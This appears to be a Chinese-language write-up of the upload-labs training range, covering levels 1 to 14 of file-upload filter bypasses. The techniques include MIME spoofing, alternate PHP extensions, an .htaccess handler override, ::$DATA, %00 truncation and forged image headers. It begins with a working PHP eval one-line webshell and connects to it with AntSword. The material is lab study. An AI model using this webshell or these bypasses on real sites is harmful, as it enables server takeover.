文章目录
常用payload
一句话木马:
<?php @eval($_POST['X']);?>
Less-1 绕过js限制
通过查看源代码可知,有一个js脚本来限制文件上传的类型为.jpg
、.png
和.gif
,验证过程为前端验证。
绕过js前端验证两种方法:
①通过插件禁用js脚本
②通过前端验证后用burpsuite抓包修改后缀名
上传并抓包修改后缀。
同时我们能够从包中看到上传路径为/upload/payload.php
打开蚁剑,成功连接。
Less-2 MIME类型绕过
查看源代码
$FILES函数详解:
$_FILES['myFile']['type'] //获取文件的 MIME 类型,例如"image/gif"
$_FILES['myfile']['name'] //获取上传文件的原名称
$_FILES['myfile']['tmp_name'] //获取已上传文件在服务器端保存的临时文件名,包含路径
$_FILES['myfile']['error']; //上传文件出现的错误号,为一个整数
$_FILES['myfile']['size']; //已上传文件的大小,单位为字节
上传php文件,并修改type类型为白名单中的类型,上传成功。
随后查看文件上传路径,可知路径为/Pass-02/..upload/payload.php
即/upload/payload.php
中
如图成功连接。
Less-3 利用中间件解析绕过黑名单限制
源代码如下
函数详解:
trim(A,B) //删除A中所有的B中包含的字符,B默认为空格
deldot(A) //删除A末尾的所有.
strrchr(A,'.') //获取A中最后一个.及其后的所有字符
str_ireplace(A,B,C) //将C中的A替换为B
总之,这里进行一大步过滤之后,会获取文件的后缀名,然后判断是否在黑名单中。其中已知大小写、多后缀等都无法绕过。
但是不同版本的phpstudy,能够将一些不同的后缀解析为php文件,我们查看下我们的http配置文件。
如下图可知,phpstudy同时会将php、php3、phtml 这些后缀名的文件以php方式来解析。
我们上传php3后缀的文件,并尝试连接。
如图连接成功。
Less-4 .htaccess绕过黑名单
查看源代码
上一关所用到的方法也不行,这里加了许多黑名单,但并没有限制.htaccess文件
使用条件:
①php不能带NTS
②启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。
.htaccess文件详解]
打开httpd.conf
//查找
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
//改为如下
<Directory />
Options FollowSymLinks
AllowOverride All
</Directory>
.htaccess文件内容
<FilesMatch "payload.jpg"> //将payload.jpg文件
SetHandler application/x-httpd-php //用php来解析
</FilesMatch>
具体操作:
上传1.htaccess文件,但这里1.htaccess不会被解析,要上传.htaccess名称
随后上传payload.jpg文件
如图蚁剑成功连接。
Less-5 大小写绕过
查看源代码
如图查看文件位置
成功连接。
Less-6 空格绕过
查看源代码
抓包,在文件名后面加空格
上传成功,之后用蚁剑进行连接。
Less-7 .绕过
在文件名末尾加.即可绕过限制,剩余步骤略。
Less-8 ::$DATA文件流绕过
原理:
php在window的时候如果文件名+"::$DATA"
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"
之前的文件名。
实操:
如图上传并抓包添加::$DATA
如图上传成功,随后用蚁剑连接。连接的时候文件名后面不需要带::$DATA
Less-9 过滤不全导致绕过
注意:deldot()函数
的原理是从字符串末尾向前寻找.
并将其删除,遇到其他字符(包括空格字符)会停止。
查看源代码
注意:这里进去判断的时候后缀只剩.
而.
字符不在黑名单中所以能绕过判断。最后.
会拼接到前部分的payload.php
一起构成payload.php.
,这里要弄明白进入判断的是.
而不是.php.
,弄明白strrchr()
函数在这里的作用。
通过这种方式就能绕过。
验证进入判断的时候是.
在黑名单中加入.
之后,再去重复刚才的步骤。
如下成功报错,说明我们的猜想是正确的。
Less-10 双写绕过
查看源代码,类似xss的双写绕过
如下图抓包修改后缀
可知,成功上传,后续连接即可。
Less-11 %00截断-get传参
源代码如下
通过下面的分析我们可以得知在上传路径后面加入%00
截断字符来停止源代码中后续路径的拼接。
最终更改如下
上传成功
最终成功连接,注意后面的部分在源代码中被截断,因此连接的时候文件名只填payload.php
即可。
Less-12 %00截断-post传参
查看源代码
通过查询资料可知:
由于在get传参的时候,传上去的%00
会被自动解码,但POST传参不会被自动解码。
如下操作:
然后进入Hex页面
如下成功修改后,放回包。
上传成功,剩下步骤同11。
Less-13 绕过文件头限制+文件包含
查看源代码:
如下给出更详细的代码解释:
这段代码是使用 PHP 中的 unpack
函数从二进制数据中解析出两个字节,并将其转换为整数。然后,通过将两个字节的值连接在一起,将其转换为整数,得到一个类型码 typeCode
。
具体而言,这段代码执行以下操作:
unpack("C2chars", $bin)
:使用unpack
函数按照无符号字符格式解析二进制数据$bin
,将其拆分为两个字符,存储在关联数组$strInfo
中,键名分别为chars1
和chars2
。intval($strInfo['chars1'].$strInfo['chars2'])
:将两个字符拼接在一起,然后将结果转换为整数,得到typeCode
。- 最后,定义了一个变量
$fileType
,但没有给它赋值。其中,
C2chars
的含义如下:
C2chars
是unpack
函数的格式字符串,用于指定如何解析二进制数据。在这里,C
表示解析为一个无符号字符,2
表示解析两次。
C
表示一个无符号字符,其范围是 0 到 255。
2
表示解析两次,即从二进制数据中提取两个字节。因此,
C2
表示解析两个无符号字符,每个字符占用一个字节。这样的解析通常用于读取二进制数据中的字节信息,比如文件头中的某些标识符或类型码。在你提供的 PHP 代码中,unpack("C2chars", $bin)
用于将二进制数据$bin
中的两个字节解析为两个无符号字符。
其中不同类型的文件的前缀字节是不同的
比如:
1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
2.Jpg图片文件包括2字节:FF D8。
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
4.Bmp图片文件包括2字节:42 4D。即为 BM。
开始上传木马:
首先随意上传文件并抓包修改。如图抓包成功
然后修改后缀后,点击Hex
,进入其中找到文件头部分的二进制代码,并将其修改为jpg的文件头。
如下图修改成功,并且成功上传文件。
然后找文件路径
最终成功连接。
Less-14
源代码分析:
getimagesize函数详解
$filename = 'path/to/your/image.jpg';
$info = getimagesize($filename);
if ($info !== false) {
// 输出图像宽度和高度
echo 'Width: ' . $info[0] . '<br>';
echo 'Height: ' . $info[1] . '<br>';
// 输出图像的 MIME 类型
echo 'MIME Type: ' . $info['mime'] . '<br>';
} else {
echo 'Failed to get image information.';
}
/*
getimagesize 函数是根据图像文件的文件头信息来判断图像类型的。函数会读取图像文件的前几个字节,然后解析这些字节中包含的信息,以确定图像的类型、宽度、高度等信息。
getimagesize 函数返回一个包含图像信息的数组。其中,$info[2] 表示图像的类型。
1: GIF 2: JPEG 3: PNG 4: SWF
5: PSD 6: BMP 7: TIFF(intel byte order) 8: TIFF(motorola byte order)
9: JPC 10: JP2 11: JPX 12: JB2
13:SWC 14: IFF 15: WBMP 16: XBM
*/